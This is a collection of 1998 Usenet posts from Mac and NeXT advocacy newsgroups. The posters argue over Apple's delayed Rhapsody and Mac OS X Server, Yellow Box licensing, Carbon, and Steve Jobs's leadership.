References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v1ovv$c9k@news1.panix.com> <3614BF4E.C5F58265@nstar.net> <6v2tj8$lqd@news1.panix.com>
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Sal Denaro wrote:
This is about as bad as it could possibly get. Pure hystrionics, of the
"you did this, then I did this" kind. The thread always seems to end
this way with you, Sal.
MJP
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 01 Oct 1998 15:05:36 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0110981505360001@korper.cutler.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net>
Mail-Copies-To: never
In article <36139693.BCDEEA7C@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
:Sal Denaro wrote:
:> Apple can not promise a free runtime since the runtime requires 3rd party
^^^^^^^
:> products. They have stated intent, and appear to have taken action to make
:> good on this intent. (i.e. removal of 3rd party portions of YB)
:
:This must be a retraction, since you previously said:
:
:> The FAQ also states that Apple has commited to providing a free runtime.
^^^^^^^^
I believe that these two words do not mean the same thing.
Message-ID: <3619B09D.5D1104FF@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <6vbv6f$26l8$1@piglet.cc.uic.edu>
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NNTP-Posting-Date: Tue, 06 Oct 1998 01:55:32 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 00:54:37 -0500
Anil T Maliyekke wrote:
[cut]
> Anyway, you are still missing my point. Sun has always been a company
> that sells to corporations and other institutions and has always had
> customers who were willing to spend over $20,000 dollars to buy a
> workstation. Many of those organizations continue to be
> willing to spend that sort of money to satisfy their requirements.
> Some are spending considerably more. Some aren't.
Okay, I see that part of your point, but I don't understand why it
doesn't (or couldn't) apply to Apple. There's nothing unique about Sun
selling to enterprise; lots of companies do it.
> Apple customers,
> which includes consumers who won't ever see a ROI measurable in dollars
> one their purchase, never have been willing to spend that much for the
> items that they have traditionally bought from Apple, though they are
> typically willing to spend a little bit more than PC customers.
Yes! Yet Apple continues to market *directly* to this low-margin group
of consumers!
Phew, I'm glad you see this.
> : It's power, baby. If Apple had a solution I wanted, I'd do the same for
> : them. So would thousands of engineers across the globe. All Apple has to
> : do is build the [expletive deleted] solution. And ship it, of course.
>
> Well I totally agree. But in terms of licensing, MacOS as it stands
> today won't generate the kind of growth that is needed to sustain
> both Apple and licensees.
Yes, it's an extremely painful fact that can't be fixed by wishing. The
blame is squarely upon the shoulders of past Apple managers.
Now, if we were to say to ourselves, "How do we prevent the same thing
happening in a few years?" the answer is "invest in the software
*today*". Well, what do you know? Apple hasn't shipped Rhapsody and
*still* isn't building new software customers.
> Mac OS X may very well do so.
Too late! It's planned to ship in 1999! And if it's as late as MacOS X
Server is today, it will be 2000 before MacOS X ships. If I worked at
Apple I'd be saying "Oh, shit" right now.
> But Apple
> has to do well in the meantime, or Mac OS X will fail because Apple
> has gone bankrupt. Licensees won't help with Mac OS 8.x and it won't
> help Apple, since it doesn't leave enough room for Apple to distinguish
> itself from cloners who don't have the resources to compete on something
> other than price.
Apple has to survive in the long term, not the short term. The short
term is already assured, because Apple has sufficient capital and
marketshare to ride out waves of competition. Hell, NT 5.0 is late!
Invest, invest, invest! Apple has got to invest in the future.
MJP
Message-ID: <3619AF29.7272D1B4@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com> <6v9mn8$ior$1@news.bctel.net> <6v9t1c$8be$1@news.idiom.com> <3618e59b.0@news.depaul.edu> <6vc2bm$1pc$2@news.bctel.net>
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NNTP-Posting-Date: Tue, 06 Oct 1998 01:49:20 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 00:48:25 -0500
Maria Iglesis wrote:
> Who said without a fee? I would be willing to buy a DPS package off of Adobe
> if they offered it! Can they not see a money making opportunity here?
I'd buy it, too. I recently began using PostScript in earnest for a
number of needs, and I would really benefit from a pervasive DPS layer.
It's worth money for me.
MJP
Message-ID: <3619B2E5.19831926@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com>
<tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com>
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Date: Tue, 06 Oct 1998 01:04:21 -0500
spammers@ruin.the.internet.channelu.com wrote:
[cut]
> Then in MacOS 8.6 or 9.0 Apple would have been wise to start
> restricting the set of API calls available to eliminate the low level
> stuff they are now calling Carbon. Maybe they could have isolated
> those calls into a seperate library and simply warned everyone
> it isn't supported AND that they will loose memory protection, multitasking,
> etc. if they are used. Something like that..
Exactly. Evolve MacOS and evolve Rhapsody. Instead Jobs has been
morphing MacOS *into* Rhapsody, and it's screwing everything up.
[cut]
> Honesty and openness has never been Mr Jobs strong suit IMHO.
Ironically, honesty and openness have *always* been MacOS user traits.
Jobs is the absolute worst person to lead the generally friendly and
enthusiastic MacOS market.
> Too bad too because the Apple and NeXT folk I think would have
> more easily swallowed bad news told honestly, rather than being
> led by the nose, or in stealth mode.
I agree completely.
> If true again another example of bad business practice. Thing is by
> the time Apple purchased NeXT they had already wasted too much
> time tiptoeing around and trying to put a happy face on a very serious
> situation.
What I was saying was that Amelio made a committment to MacOS that Jobs
wouldn't make, and actually rescinded. What bullshit.
[cut]
> Coming from NeXTstep-Openstep I have to agree I loath the new interface.
> The reason: Everyone who saw the NeXTstep or Openstep GUI thought
> it looked fabulous, when they used it they liked it even more. Every interface
> is not perfect and is an evolving product. But the one fact that there wasn't
> a simple switch to toggle the GUI personality built right in - annoyed a lot
> of people. To us NeXTstep/Openstep folks it was like Steve had given
> up his principles, that everything he was touting about NeXTstep/Openstep
> was just pure unadulterated BS. Because of this whole attitude put into
> practice I remain highly skeptical about Apple's chances. I know
> for many companies Apple is not even on the radar, and the mere mention
> creates fits of laughs and giggles from everyone except many Graphic
> artists and publishers still using Macs. Even then they just sit quietly and
> work away - almost in silent morning over when their Mac will be replaced
> with a PC the laughs and giggles signalling the doom of their beloved
> boxes.
There is still time, dammit! Realize that Jobs fucked up. Jobs fucked up
hard. Get him out of there. Someone else could save this company. I
*want* this company saved.
MJP
Message-ID: <361620B1.9F3F01B@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v21u9$fm7$1@nnrp1.dejanews.com> <6v2tjj$lqd@news1.panix.com> <6v4oc3$352$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Sat, 03 Oct 1998 09:04:47 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 03 Oct 1998 08:03:45 -0500
quinlan@intergate.bc.ca wrote:
> I don't question the truth value of your claim (though I can see why some
> would). I merely point out that you didn't need to make any claim at all. MJP
> had the burden of proof and you could have left it on his shoulders.
MJP >> > Will there be Windows-based developer tools after Rhapsody 1.0?
I hadn't
MJP >> > heard.
SDenaro >> If Apple has any interest in having YB on Windows apps, I
should think so.
MJP >Again, read John's post. This is a function of Apple's interest in
MJP >protecting an obsolete hardware/software platform, not in Yellow
Box.
SDenaro Why would Apple work to remove the YB licensing fee if it did
not plan
SDenaro to keep it around?
SDenaro BTW, you can settle this by going to the Apple web site and
reading the
SDenaro FAQs.
Brian, I'm curious. What was I supposed to be proving?
MJP
Message-ID: <3616232A.F5F36B0@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v36or$59g$1@news.spacelab.net>
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NNTP-Posting-Date: Sat, 03 Oct 1998 09:15:20 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 03 Oct 1998 08:14:18 -0500
Charles W. Swiger wrote:
> >> IIRC, there is a mention about using the win95 UI guide in the notes
> >> about logo requirements. While you do not have to stick to the win UI
> >> to earn the logo, it is strongly recommended by Microsoft.
> >
> > This must be a retraction, since you previously said:
> >
> >> No, Apple will provide a user experience on Windows that meets Windows
> >> UI guidelines. It has nothing to do with it protecting its hardware/OS
> >> platforms.
> >>
> >> How useful would YB/NT be if Apps built with it didn't earn the NT
> >> logo?
> >
> ></quote>
>
> Why "must" Sal's comment be a retraction?
>
> You appear to be claiming that his current statements disagree with his
> earlier ones, yet there is no contradiction between them.
There is no contradiction between "Apple will provide a user experience
on Windows that meets Windows UI guidelines...how useful would YB/NT be
if Apps...didn't earn the NT logo?" and "you do not have to stick to the
win UI to earn the logo"?
What's the explanation? I'm all ears.
> >> Apple can not promise a free runtime since the runtime requires 3rd
> >> party products. They have stated intent, and appear to have taken
> >> action to make good on this intent. (i.e. removal of 3rd party portions
> >> of YB)
> >
> > This must be a retraction, since you previously said:
> >
> >> The FAQ also states that Apple has commited to providing a free runtime.
> >
> ></quote>
>
> There's no contradiction here, either-- at least if you manage to grasp the
> difference between present and future.
>
> Right now, the runtime is not free because Apple owes royalties to third
> parties.
Sounds like you're the one injecting this distinction between present
and future, which is nowhere present in Sal's posting, nor is it
relevant. There is no contradiction between "Apple has committed to
providing a free runtime" and "Apple can not promise a free runtime"?
Please, explain this one as well.
> You're consistent. Not being concerned about the opinions of others and a
> lack of courtesy are well correlated.
Such wit!
MJP
From: OWSCR@hotmail.com
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sat, 03 Oct 1998 01:57:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v409l$uvv$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com>
For sub-£600 systems, maybe not.
But for £1200 systems? Of cpurse they are faster than equivalent price Bintel
machines and cheaper than equivalent speed bintel machines.
OJH
In article <dhNQ1.577$HF3.1311949@news14.ispnews.com>,
"Earl Malmrose" <earl.malmrose@nospam.jetcity.com> wrote:
> hughesojh@my-dejanews.com wrote in message
> <6uvl5r$18r$1@nnrp1.dejanews.com>...
> >Here's the problem with Rhapdsody x86.
> >
> >Apple sell systems.
> >
> >Their systems are cheaper and faster than Wintel crap.
>
> Nope. Go ahead and argue that MacOS is easier to use, but forget argueing
> that Macs are cheaper *and* faster. There's no way you'll win that
> arguement.
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-yYpc1d0wH6rg@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 6 Oct 1998 06:12:15 GMT
Organization: IBM.NET
On Mon, 5 Oct 1998 18:01:03, pulsar@springnet1.com (Pulsar) thought
aloud:
> In article <6vasvr$918@merkur.smartsoft.de>, ahoesch@on-luebeck.de (Andreas
> Hoeschler) wrote:
>
> > >But with Apple emphasizing "Carbon" and downplaying Yellow Box Rhapsody
> > >seems to have lost its attractiveness and momentum anyway.
> >
> > If Apple does not promote the YellowBox as hell, they're simply stupid and I
> > would like to see Apple being bought and reorganized by a company that know
> > what time it is.
>
> That's the way I used to think. I've begun to realize that very few people
People meaning "current Mac developers" in this context, right?
> give a bloody damn about Yellow Box. The people who have investments in the
> Mac OS (as in years of code development and products) _do_not_care_ about
> YB. It simply does not matter. For them to support YB would mean scrapping
> all of their time and experience at working with the Mac OS for an entirely
> new API. It would mean that except that they would _also_ have to support
> the old Mac OS because YB even if it is wildly successful in its deployment
> will represent a relatively small portion of the market.
I agree, although YB-for-Windows could potentially make the YB market
quite a bit larger.
> This means that developers face the prospect of supporting and developing
> for two wildly different OS architectures (most often in _addition_ to
> Windows) when their combined marketshare is paltry compared to Windows.
> That just isn't going to happen.
What if Mac OS X was compatible with the originally intended range of
PowerMacs, and again YB-for-Windows could address many, althought
probably not all Windows deployment questions? Limiting native YB use
to nothing but latest Apple PowerMacs certainly doesn't help Mac
developers considering to take the jump into the future platform.
> What matters to the survival of the platform most and therefore to Apple is
> developer support. This means support from the big developers. The big
> developers weren't going for YB. That resulted in Carbon.
>
> If Apple pushes the YB hard, developers will drop Mac support entirely.
> Carbon is _absolutely_necessary_! YB _is_ the future, but Apple cannot
> promote it as such just yet. Carbon is a way to migrate (slowly) towards
> YB. Apple has been too wishy-washy in the past for deveopers to swallow a
> new big change from Apple even if Apple _looks_ sincere about it. Even if
> Apple were sincere about it, it appeared sincere about many other 'wave of
> the future' projects that got cancelled at some point or another. Even if
> it is different _now_ nobody trusts Apple.
Yes, Carbon is very good news, esp. for the biggies with huge
codebases to protect and rewrite. I can also understand that YB isn't
being pushed _really hard_ for the time being because of these
concerns. But, if the future is pushed too far in the future it'll
emerge as history. <g> How long can YB be delayed until the window of
opportunity has yet again closed before the puzzled faces of Apple
management?
Now what comes to the hardware compatibility of the long-awaited Mac
OS X, does limiting it to only '98 or later PowerMacs help Carbon
developers (?), YellowBox developers (?), existing PowerMac incl.
pre-G3 owners (?) and/or Apple?
> > > especially if there are only handful of apps available for it?
> >
> > It seems that if we would like to have a reasonable OS in the future, we
> > should slowly start to develop applications for it. In opposite to Win, the
> > YellowBox is powerful enough for a one man shows, so lets simply do it.
>
> Indeed! Do it! Nothing prevents you from developing for the YB. In fact, it
> may be the best way to go if you don't have large investments in Windows or
> Mac OS. That's the whole point actually.
Brgds,
--
taiQ
[this space is intentionally blank]
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Mon, 5 Oct 1998 22:55:11 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6vcc8u$opc$2@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com> <6vbhrp$6hn$1@nnrp1.dejanews.com>
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Charles Swiger wrote in message <6vbhrp$6hn$1@nnrp1.dejanews.com>...
>In article <6vaaqn$h6l$5@supernews.com>,
> "Dan" <dan@knowspaam.com> wrote:
>[ ... ]
>>>> ...what does piss me off is listening to all the NT complaints when I'm
>>>> sitting here at a NT box that has not crashed or had a reinstall in
>>>> over a year,
>>>
>>>I'm pretty sure I don't believe you. NT stable for over a year without
>>> rebooting?
>>
>> No no... I reboot. I just said it has not crashed in over a year, nor has
>> NT been reinstalled in over a year.
>
>Let me put this to you more gently than some others have.
>
>There are operating systems out there which stay up for years at a time
>*without* rebooting (voluntarily or because of a crash), even when people
>install or upgrade software.
>
>You shouldn't _have_ to reboot in order to use a computer.
To reboot to another OS I do.
Dan
Message-ID: <3619B4DA.353A6EFD@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com> <6v9mn8$ior$1@news.bctel.net> <6v9t1c$8be$1@news.idiom.com> <3618e59b.0@news.depaul.edu> <6vc2bm$1pc$2@news.bctel.net> <3619AF29.7272D1B4@nstar.net>
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NNTP-Posting-Date: Tue, 06 Oct 1998 02:13:37 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 01:12:42 -0500
Michael Peck wrote:
> I'd buy it, too. I recently began using PostScript in earnest for a
> number of needs, and I would really benefit from a pervasive DPS layer.
> It's worth money for me.
To be specific, I could *really* use a DPS Netscape plugin. I'm tired of
running a CGI Ghostscript backend to produce GIFs with blasted colors.
I'm tired of trying to find an appropriate driver that supports
anti-aliasing. I'm tired of trying to get Ericsson to buy fast machines
to support the three server executables required to make my images look
right on the client.
Once upon a time, there was a QuickDraw GX plugin (for MacOS *AND*
Windows) that could do this job for me. Guess who canned it? Now I have
to use crap like GD from Perl to get anything approaching what I want.
Either that, or go with Shockwave and pay exorbitant amounts to target
Windows and MacOS (when UNIX is what I really need).
MJP
Message-ID: <3619BF6A.6159336B@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: PCM Tests the iMac again
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NNTP-Posting-Date: Tue, 06 Oct 1998 02:58:41 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 01:57:46 -0500
Jobs' insultingly deceitful claims to iMac performance are an
embarassment. This is out of control.
http://www.zdnet.com/pcmag/firstlooks/9810/f981002a.html
MJP
From: mazulauf@mistral.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 3 Oct 1998 16:37:16 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn71cklg.gm7.mazulauf@mistral.met.utah.edu>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <joe.ragosta-0310980807430001@elk89.dol.net>
NNTP-Posting-Date: 3 Oct 1998 16:37:16 GMT
In article <joe.ragosta-0310980807430001@elk89.dol.net>, Joe Ragosta wrote:
>In article <mazulauf-0310980024190001@happy.met.utah.edu>,
>mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
>
>> No, they're not close to being on schedule. Unified was to ship in mid
>> 98. Mid 98 has come and gone, and there is still no sign of it. Have
>> there been any new rumors as to when it's coming? Not that it would mean
>> anything, since I've been hearing it was "about a month away" for the last
>> several months.
>
>Where have you been hearing "a month away"?
I heard that a lot back this spring and early summer. True, I haven't heard
it for a while now. That makes me think that even the rumor-mongers have
lost faith.
>The most recent statement from Apple said fall, 1998. Let's take the worst
>case scenario and say it ships by year end. That's 6 months late.
That's your worst case scenario? I can come up with lots of worse ones,
including complete cancellation ("it's so late, and MacOS X is just around
the corner, so. . ."). I think getting it out this year is beginning to look
like a best case scenario.
Even in that instance, Apple would be getting the first (and only?) release
of Rhapsody in customers' hands about a year after when they first promised
it. You see, I don't absolve them of never releasing the Premiere version,
or whatever you call it.
>How late was Win96/97/98? And that was merely a bunch of bug fixes.
Who cares? I don't. They did deliver. And I don't even use these OS's.
Besides, since when is what MS does your measure of acceptability? It
ain't mine (for example, I hope the feds really bust 'em good).
>6 months late for a complete OS rewrite is pretty good.
In your mind it's 6 months, and pretty good. In mine it is 9 months and
counting (possibly much higher), and nothing about it is remotely good.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 01 Oct 1998 20:23:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v0ocm$jt5$1@nnrp1.dejanews.com>
References: <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu> <36106cf1.0@news.depaul.edu> <3611b52e.347174@news2.icx.net> <6ut7ig$cok$1@news.idiom.com> <3612b507.1391230@news2.icx.net> <36126A2D.7A57@earthlink.net> <6v0c0i$ro0$1@news.spacelab.net>
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Steve Kellener <skellener@earthlink.net> wrote:
> >Wasn't the consumer version supposed to originally ship in January?
>
> Don't think so-- if you remember Apple's original roadmap, with the pretty
> yellow and blue boxes, January had full YB and a partially filled BB (to
> indicate only partial blue box support).
A "premier" release for "early adopters" was planned for early 1998. Quoting
Avie Tevanian from a MacUser Online interview dated 24 Feb 1997 (so that "next
year" = 1998):
... The Premier Release will get out by early next year,
which means in the January/February time frame. ...
The goal of the Premier Release is to be a fairly solid
release, so that early adopters can start to use it,
evaluate it.
IIRC, A full "unified" release was to follow in mid-1998. From the same
interview:
Along those lines, we will complete the Rhapsody rollout
in the middle of next year. This will be the Unified
Release, which is the complete Yellow Box (the new
Rhapsody API), the complete Blue Box -- everything fully
functional, fully supported.
You can find this interview at
http://macuser.zdnet.com/onlinecol/tevanian.html
So, if you think that the originally-planned "premiere" version constitutes a
consumer version, then Steve Kellener was basically right. If you only
consider the unified release as the consumer version, then the appropriate
"supposed to originally ship" date is mid-1998.
> >Then Summer, then Q3, now November?
>
> The original roadmap talked about a Q3 release, IIRC.
I don't remember seeing any specific references to Q3 98 until Steve's speech
at WWDC, in which he stated Rhapsody 1.0 (as it was still called then) would
ship in that quarter.
> It's Oct 1, which means it's now becoming late...
If you consider OS X Server the equivalent of the originally-planned Unified
Release, then its about 3 months. If you consider the WWDC announcement of Q3,
then it's now one day late.
> but I believe it's coming out sooner than November.
I doubt it. They've announced MacOS 8.5 for Oct.17 shipment, and they're
obviously planning a big push for that. I don't see them wanting to muddy the
waters with two OS launches simultaneously. Given that, I don't see Apple
launching OS X Server before November, even if it's ready today. (Not that I
don't _want_ them to, understand; just that I don't think they will.)
> Possibly Apple simply needs a little breathing
> room because of the recent MacOS 8.5 release (that just came out, right)?
Nope, not out yet. Oct.17.
You know, I can understand being late with a new OS, even if its derived from
an existing one. They're complicated beasts, and delays happen. I can also
understand deciding to hold back a ready-to-ship OS for marketing reasons.
But this continued total silence is completely exasperating. Why Apple thinks
rampant FUD is better than fessing up to understable delays or explaining
reasonable marketing decisions, I cannot fathom.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: trashcan@david-steuber.com (David Steuber "The Interloper")
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sat, 03 Oct 1998 03:36:29 GMT
Organization: David's Diversions @ www.david-steuber.com
Message-ID: <361d84ba.267323681@news.newsguy.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com>
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On Thu, 01 Oct 1998 10:22:54 GMT, hughesojh@my-dejanews.com claimed or
asked:
<completely clipped>
I hate cross posts to more than two groups. But just this once, I
will cross post a reply. To flame me, please post to
comp.lang.java.advocacy. I won't see your post other wise.
Install Linux on your G3 and see a real OS, hugh!
Hmmm. I would kill for a G3 box running Linux. Who do I have to
kill?
--
David Steuber (ver 1.31.1b)
http://www.david-steuber.com
To reply by e-mail, replace trashcan with david.
When the long night comes, return to the end of the beginning.
--- Kosh (???? - 2261 AD) Babylon-5
"Where do you want to go tomorrow?" --- KDE tool tip
Date: Sat, 03 Oct 1998 08:07:43 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Message-ID: <joe.ragosta-0310980807430001@elk89.dol.net>
